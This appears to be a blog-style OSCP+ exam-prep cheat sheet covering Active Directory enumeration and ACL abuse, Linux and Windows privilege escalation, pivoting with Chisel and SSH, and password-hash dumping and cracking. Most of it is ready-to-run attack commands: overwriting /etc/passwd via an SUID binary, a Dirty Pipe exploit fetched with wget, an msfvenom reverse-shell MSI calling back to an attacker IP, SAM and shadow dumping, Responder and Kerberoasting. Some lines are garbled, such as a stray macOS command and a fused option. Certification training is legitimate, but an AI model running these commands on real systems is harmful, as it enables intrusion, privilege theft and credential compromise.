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Introduction:
The OSCP+ certification demands hands‑on mastery of real‑world penetration testing, from initial enumeration to domain compromise. This article extracts technical content from a high‑intensity CTF training program, delivering actionable commands, tool configurations, and exploitation workflows that mirror exam scenarios. Whether you’re pivoting through networks or abusing Active Directory, these step‑by‑step guides will sharpen your offensive security skills.
Learning Objectives:
- Execute multi‑stage Linux and Windows privilege escalation using kernel exploits, misconfigurations, and service abuses.
- Perform Active Directory enumeration and lateral movement with BloodHound, PowerView, and Impacket.
- Build and deploy tunneling & pivoting techniques (SSH, Chisel, Meterpreter) to breach segmented networks.
You Should Know:
1. Active Directory Enumeration – BloodHound & SharpHound
This section extracts core enumeration from the training’s “Active Directory Attacks” module. BloodHound maps AD attack paths via graph theory. You will collect data, analyze shortest paths to Domain Admins, and execute targeted abuse.
Step‑by‑step guide (Linux attacker, Windows target):
- Install BloodHound and Neo4j (Debian/Ubuntu):
sudo apt install neo4j bloodhound sudo systemctl start neo4j Access http://localhost:7474, default creds neo4j:neo4j, change password
- Run SharpHound on Windows target (via Cobalt Strike beacon or RDP):
.\SharpHound.exe -c All --domaindomain.local --ZipFileName loot.zip
- Alternatively, use BloodHound.py from Linux (no Windows agent):
bloodhound-python -d domain.local -u lowpriv -p 'password' -ns 192.168.1.10 -c all
- Import the resulting `.zip` or `.json` files into BloodHound GUI.
- Query for high‑value edges: “Find Shortest Paths to Domain Admins” or “List all Kerberoastable users”.
- Abuse example – If a user has `GenericAll` over a domain admin, use `net rpc` or
Set-ADACL:On Windows with PowerView Add-DomainObjectAcl -TargetIdentity "DomainAdminUser" -PrincipalIdentity "our_user" -Rights All Then change password using $NewPassword = ConvertTo-SecureString 'Hacked123!' -AsPlainText -Force Set-DomainUserPassword -Identity "DomainAdminUser" -AccountPassword $NewPassword
What this does: Maps user‑to‑computer relationships, domain trusts, and high‑privilege sessions, enabling lateral movement and privilege escalation with minimal noise.
2. Linux Privilege Escalation – Automated & Manual
From the training’s “Linux Privilege Escalation” topic. Attackers start with low‑privilege shell; escalate via SUID binaries, cron jobs, and kernel exploits.
Step‑by‑step:
- Run LinPEAS (Linux Privilege Escalation Awesome Script):
curl -L https://github.com/peass-ng/PEASS-ng/releases/latest/download/linpeas.sh | sh
- Manually check SUID binaries:
find / -perm -4000 2>/dev/null If /usr/bin/cp has SUID, overwrite /etc/passwd cp /etc/passwd /tmp/passwd; echo "root2:$(openssl passwd -1 -salt salt password123):0:0:root:/root:/bin/bash" >> /tmp/passwd; cp /tmp/passwd /etc/passwd sw_vers For macOS but similar check on Linux
- Exploit misconfigured sudo:
sudo -l Look for (root) NOPASSWD: /usr/bin/vim sudo vim -c ':!/bin/sh' Spawn root shell
- Kernel exploit (e.g., Dirty Pipe – CVE‑2022‑0847):
wget https://raw.githubusercontent.com/Alu-Cannon/CVE-2022-0847/main/exploit.c gcc exploit.c -o dirtypipe ./dirtypipe /etc/passwd 1 "root2:passwordhash:0:0:root:/root:/bin/bash\n"
Why it matters: Over 60% of exam machines require privilege escalation. Automating enumeration and knowing manual fallbacks is critical for OSCP+ success.
- Windows Privilege Escalation – Potato Style & Print Spooler
Extracted from “Windows Privilege Escalation” section. Attackers abuse SeImpersonate privileges, unquoted service paths, and print spooler vulnerabilities.
Step‑by‑step:
- Enumerate with WinPEAS:
.\winPEASx64.exe quiet cmd > output.txt
- SeImpersonatePrivilege → JuicyPotatoNG (Windows 10/Server 2019):
JuicyPotatoNG.exe -t -p C:\Windows\System32\cmd.exe -a "/c whoami > C:\temp\imp.txt" -l 1337
- PrintNightmare (CVE‑2021‑1675) – Add a local admin:
Using SharpPrintNightmare .\SharpPrintNightmare.exe C:\path\to\malicious.dll
- Unquoted service path:
wmic service get name,displayname,pathname,startmode | findstr /i "auto" | findstr /i /v "C:\Windows\" If path = C:\Program Files\Vuln Service\service.exe is vulnerable, place payload in C:\Program.exe
- AlwaysInstallElevated MSI:
reg query HKLM\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated If set to 1, generate malicious MSI: msfvenom -p windows/x64/shell_reverse_tcp LHOST=10.10.14.10 LPORT=4444 -f msi -o rev.msi msiexec /quiet /qn /i rev.msi
Tip: Run `whoami /priv` immediately. SeImpersonate, SeAssignPrimaryToken, or SeBackupPrivilege are gold.
- Tunneling & Pivoting – Chisel and SSH Dynamic Forwarding
Based on the “Tunneling & Pivoting Techniques” module. Once you compromise a jump host, pivot into internal networks.
Step‑by‑step:
- SSH local port forwarding (from attacker to internal host):
ssh -L 8080:internal-web:80 user@jumphost
- SSH dynamic SOCKS5 proxy:
ssh -D 9050 user@jumphost Then configure proxychains: socks5 127.0.0.1 9050 proxychains nmap -sT -Pn 10.0.20.0/24
- Chisel – fast HTTP tunneling (install from GitHub):
On attacker (server mode) chisel server -p 8000 --reverse On compromised jump host (client) chisel client attacker_ip:8000 R:socks
- Meterpreter pivoting (after getting a shell):
run autoroute -s 10.0.0.0/255.255.0.0 background use auxiliary/scanner/portscan/tcp set RHOSTS 10.0.20.5 run
Real‑world utility: Pivoting is non‑negotiable for internal network breaches. OSCP+ often places a public facing server as a gateway.
5. Password Attacks – Hash Extraction & Cracking
From the “Password Attacks & Credential Exploitation” section. Extract hashes from Windows (SAM, LSASS, NTDS) and Linux (/etc/shadow), then crack offline.
Step‑by‑step:
- Windows – dump SAM using reg.exe:
reg save hklm\sam sam.save reg save hklm\system system.save Transfer to attacker, then impacket-secretsdump impacket-secretsdump -sam sam.save -system system.save LOCAL
- Linux – unshadow & crack:
cat /etc/passwd > passwd.txt cat /etc/shadow > shadow.txt unshadow passwd.txt shadow.txt > combined.txt hashcat -m 1800 -a 0 combined.txt /usr/share/wordlists/rockyou.txt
- Capture NetNTLMv2 via responder (on attacker LAN):
sudo responder -I eth0 -wrf Victim browses to a fake SMB share, hash captured hashcat -m 5600 captured_hash.txt rockyou.txt
- Kerberoasting with impacket:
impacket-GetUserSPNs -request -dc-ip 192.168.1.10 domain.local/lowpriv:password -outputfile kerb.txt hashcat -m 13100 kerb.txt rockyou.txt
Pro tip: Use `–force` for hashcat on slow systems. Combine wordlists with rules for high entropy passwords.
What Undercode Say:
- Automation is the floor, not the ceiling. Tools like LinPEAS and BloodHound give you a head start, but manual verification (checking sudo -l, cron scripts, path injection) separates pass from fail.
- Pivoting labs are under‑practiced. Many CTF players skip tunneling, yet exam networks always include multiple subnets. Master Chisel and SSH dynamic forwarding before test day.
- Active Directory abuse is 40% of the exam. If you cannot enumerate Kerberoastable accounts or abuse ACLs, you will not pass OSCP+.
Prediction:
By Q4 2026, certification exams like OSCP+ will inject more cloud‑native attack paths (misconfigured Azure AD, AWS IAM privilege escalation). Training programs will shift from pure on‑prem AD to hybrid pivoting, and automated detection engines (EDRs) will force attackers to learn advanced evasion. The practice CTF format described here will evolve into “Purple Team” labs where candidates both attack and write defensive reports. Sign up now to stay ahead of the curve.
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